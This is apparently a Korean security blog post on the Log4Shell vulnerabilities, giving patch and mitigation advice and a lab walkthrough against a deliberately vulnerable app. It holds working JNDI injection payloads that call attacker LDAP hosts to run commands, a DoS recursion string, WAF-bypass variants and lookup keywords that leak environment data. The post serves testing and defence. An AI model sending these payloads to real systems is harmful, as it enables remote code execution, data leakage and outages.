Back
Featured image of post Log4shell 전 세계의 인터넷이 불타고 있습니다 🔥 (CVE-2021-44228/CVE-2021-45046/CVE-2021-45105)

Log4shell 전 세계의 인터넷이 불타고 있습니다 🔥 (CVE-2021-44228/CVE-2021-45046/CVE-2021-45105)

네 바로 어제(2021-12-10) Java의 logging package인 log4j2 에서 RCE 0-day 취약점이 공개되었습니다. Service, Application에 로그를 쌓을수만 있다면 어떤 환경에서도 공격 가능성이 존재하고, 리스크가 RCE인 만큼 정말 전 세계가 불타오르고 있네요. (하하 DM도 터져나갑니다. 안볼거에요……)

일이 우선이니 어제는 대응에 집중하고, 하루 늦은 오늘 글로 공유하려고 합니다.

스크린샷 2021-12-12 오전 12 16 39 어디가… 사실 아직 끝난게 아니야…

이후에도 추가건인 CVE-2021-45046과 CVE-2021-45105로 대응해야 할 것들이 더 있어서 최초 공개인 금요일부터 그 다음주까진 정신없이 보냈던 것 같습니다. 아무튼 모든 Security engineer와 Developer, DevOps 등 이 사건으로 고생하신 모든 분들께 경의를 표합니다 👏🏼

What is Log4shell?

Log4shell은 log4j2의 취약점인 CVE-2021-44228의 별칭으로 java에서 많이 사용되는 logger인 log4j에서 발생하는 RCE 취약점을 의미합니다.

해당 취약점에 관련된 재미있는 내용 하나는 CVE-2021-44228이 처음에 LogJam이란 이름을 붙였다가 Log4shell로 변경했다고 합니다. 왜냐면 LogJam은 예전부터 있었던 SSL 관련 이슈니깐요!

Affected and Fixed

영향받는 버전과 대응방안/완화방안은 아래와 같습니다.

CVE CVE-2021-44228 (Log4Shell) + CVE-2021-45046 + CVE-2021-45105
영향받는 버전 log4j 2.0 - 2.16.0
패치 버전 Java8 이상: log4j 2.17
Java7: log4j 2.12.3
Java6: log4j 2.3.1
완화 방법 2.10 이상: log4j2.formatMsgNoLookups=true
2.10 미만: JndiLookup Class를 classpath에서 제거

2.16.0에서 추가 취약점인 CVE-2021-45105의 공개와 패치로 내용 수정해두었습니다.

일단은 패치가 있어서 다행이지 그래도 공격이 쉽고 우회 패턴도 있을거고, 취약 앱이 너무 광범위하게 사용되서 red team과 blue team 모두 긴밀하게 협업해서 대응이 필요할 것 같네요.

Real problem - Dependencies

진짜 문제는.. Dependencies입니다. 특히나 docker, k8s 등 이미지 기반의 서비스를 많이 사용할텐데 이를 모두 식별하고 대응하기는 정말 어렵습니다. 일단 지속적으로 추적하고, 업데이트 시키는게 최선일 것 같네요. 연결된 소프트웨어에 대한 정보는 아래 repository를 참고해주세요!

아 물론 지속적으로 보안 테스팅도 필요할 것 같습니다 😫 다행히 Burpsuite의 Active++에는 이미 적용되었고 Nuclei 템플릿 등 테스트를 위한 도구들이 금방 추가될거라 자동화만 잘 해두면 무리없을 것 같네요.

참고용

History

[2021-12-14] CVE-2021-45046

Log4shell의 패치인 2.15.0에서 CVE-2021-45046 취약점이 공개되었습니다. 이로 인해서 2.16.0 으로 업데이트가 필요합니다.

CVE-2021-45046는 로깅 구성에서 기본 로깅이 아닌 컨텍스트 조회(e.g ${ctx:loginId}) 또는 스레드 컨텍스트 맵 패턴(%X, %MDC 또는 %MDC)이 포함된 패턴 레이아웃을 사용하는 경우 입력 데이터를 제어하는 공격자가 JNDI 패턴을 사용하여 공격에 성공할 수 있습니다.

이로인해 2.15.0에서는 DOS의 영향력이, 2.14.1 이하에서 NO_LOOKUPS를 설정한 경우 RCE가 가능합니다.

https://twitter.com/LunaSecIO/status/1470871128843251716/photo/1

[2021-12-18] CVE-2021-45105

CVE-2021-45046 패치를 위한 2.16.0에서 CVE-2021-45105 이슈가 추가로 공개되어 2.17.0 이상으로 업데이트가 필요합니다.

2.16 버전 아래 버전(2.12.3 제외)에서 이 패턴으로 crash가 가능하여 DOS를 유발할 수 있습니다.

${${::-${::-$${::-j}}}}

e.g

$ curl -i -k https://target -H "X-Api-Version: ${${::-${::-$${::-$}}}}"

위 요청 시 StackOverflow 에러가 발생하여 프로세스가 종료될 수 있음

[2021-12-27] CVE-2021-44832 (RCE)

Log4j 2.17.0, 2.12.3, 2.3.1 이하 버전에서 특정 조건이 맞는 경우 RCE가 가능한 이슈입니다. CVE-2021-44228과 직접적인 연관이 있는건 아니지만, JNDIExploit을 통해 유사하게 공격할 수 있다는점, 그리고 기존 버전에서 추가 패치가 필요한걸 고려해서 Log4shell쪽 이력에도 추가했습니다. 자세한 내용은 아래 글을 참고해주세요!

https://www.hahwul.com/2021/12/29/log4-2.17-jdbcappender-rce/

Testing

Set vuln app

$ docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

스크린샷 2021-12-11 오후 11 48 24

Detect

Payload 패턴

$ curl {TARGET} -H 'X-Api-Version: ${jndi:ldap://attacker_domain}'

테스트

curl -i -k http://localhost:8080 -H 'X-Api-Version: ${jndi:ldap://nrqzbmk2pt23zu6vkegfxks7em.odiss.eu}'
HTTP/1.1 200
Content-Type: text/plain;charset=UTF-8
Content-Length: 13
Date: Sat, 11 Dec 2021 14:50:50 GMT

Hello, world!%

Server log

INFO 1 — [nio-8080-exec-3] HelloWorld: Received a request for API version ${jndi:ldap://nrqzbmk2pt23zu6vkegfxks7em.odiss.eu}

Callbacks 스크린샷 2021-12-11 오후 11 53 05

Exploit

${jndi:ldap://attacker_domain} 구문으로 인해 log4j가 JNDI(Java Naming and Directory Interface)를 통해 공격자 도메인으로 요청을 전송하게 되고 여기서 공격자가 JNDIExploit을 미리 준비해두었다면 결과적으로 code execution이 가능합니다.

스크린샷 2021-12-12 오전 2 02 20 Flow

$ curl -i -k localhost:8080 -H 'X-Api-Version: ${jndi:ldap://attacker:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9oYWh3dWwK}'

dG91Y2ggL3RtcC9oYWh3dWwK는 base64로 인코딩된 touch /tmp/hahwul 명령이며 공격이 성공하면 /tmp/hahwul 파일이 생성됩니다.

[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9oYWh3dWwK
[+] Paylaod: command
[+] Command: touch /tmp/hahwul

[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9oYWh3dWwK with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9oYWh3dWwK redirecting to http://192.168.1.143:8888/Exploitjkk87OnvOH.class
[+] New HTTP Request From /192.168.0.24:49121  /Exploitjkk87OnvOH.class
[+] Receive ClassRequest: Exploitjkk87OnvOH.class
[+] Response Code: 200
# 2b059fb3ef2d > ls /tmp/hahwul
/tmp/hahwul

다만 실제로 테스트하실 땐 직접 구축한 DNS를 사용해서 테스트하시는 것을 추천드려요. (Burpsuite collaborator, ZAP OAST 등 외부 서버에 접근 이력이 남기 때문에 혹시라도 악용될 여지가 있으니..)

Attack Surface

자료를 찾다보니 재미있는 github을 하나 발견했했습니다. Attack Surface에 대한 내용인데 가볍게 한번 봐주시면 될 것 같습니다 :D

https://github.com/YfryTchsGD/Log4jAttackSurface

예를들면 이런 케이스

For OWASP ZAP Users

log4shell이 웹 서비스에만 영향이 있을 것 같지만 log4j2를 사용하는 모든 Application에 영향을 줄 수 있습니다. 그래서 일단 사용자 application이지만 log4j2를 사용하는 OWASP ZAP도 영향 범위에 들어왔고, API를 키 없이 노출하거나 일부 스캔 시 데이터 등으로 인해 RCE가 가능할 수 있어서 보안 테스팅용이던, DevSecOps 용이던 대응하는게 좋을 것 같네요!

크게 방법은 2가지가 있습니다.

Update 2.11.1

Fixed version인 2.11.1이 릴리즈되었습니다. 업데이트 후 사용해주시면 될 것 같아요.

스크린샷 2021-12-11 오후 11 53 44

Disable logger

.ZAP/log4j2.properties 에서 Logger를 disable 시켜서도 대응이 가능합니다. 다만 완화 정도로 봐야하니 가급적이면 업데이트가 좋을 것 같습니다.

rootLogger.level = off
logger.paros.level = off
logger.zap.level = off

Bypass WAF

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

Keywords

아래 keywords는 log4shell을 통해 추가적인 정보를 얻거나 우회를 위해 사용하는 keyword입니다.

${ctx:loginId}
${map:type}
${filename}
${date:MM-dd-yyyy}
${docker:containerId}
${docker:containerName}
${docker:imageName}
${env:USER}
${event:Marker}
${mdc:UserId}
${java:runtime}
${java:vm}
${java:os}
${jndi:logging/context-name}
${hostName}
${docker:containerId}
${k8s:accountName}
${k8s:clusterName}
${k8s:containerId}
${k8s:containerName}
${k8s:host}
${k8s:labels.app}
${k8s:labels.podTemplateHash}
${k8s:masterUrl}
${k8s:namespaceId}
${k8s:namespaceName}
${k8s:podId}
${k8s:podIp}
${k8s:podName}
${k8s:imageId}
${k8s:imageName}
${log4j:configLocation}
${log4j:configParentLocation}
${spring:spring.application.name}
${main:myString}
${main:0}
${main:1}
${main:2}
${main:3}
${main:4}
${main:bar}
${name}
${marker}
${marker:name}
${spring:profiles.active[0]
${sys:logPath}
${web:rootDir}

from https://gist.github.com/bugbountynights/dde69038573db1c12705edb39f9a704a

위를 적용한 케이스를 하나 예시로 들어보면 아래와 같이 ${hostName} 구문이 포함된 요청이 전송되면 해당 부분은 실제로 시스템의 hostName이 반영되어 처리됩니다.

GET /?test=${jndi:ldap://${hostName}.hahwul.com} HTTP/1.1
Host: vulnapp.hahwul.com

즉 위 요청으로 인한 jndi 쿼리는 vullnapp.hahwul.com.hahwul.com 으로 전송됩니다.

Tools

References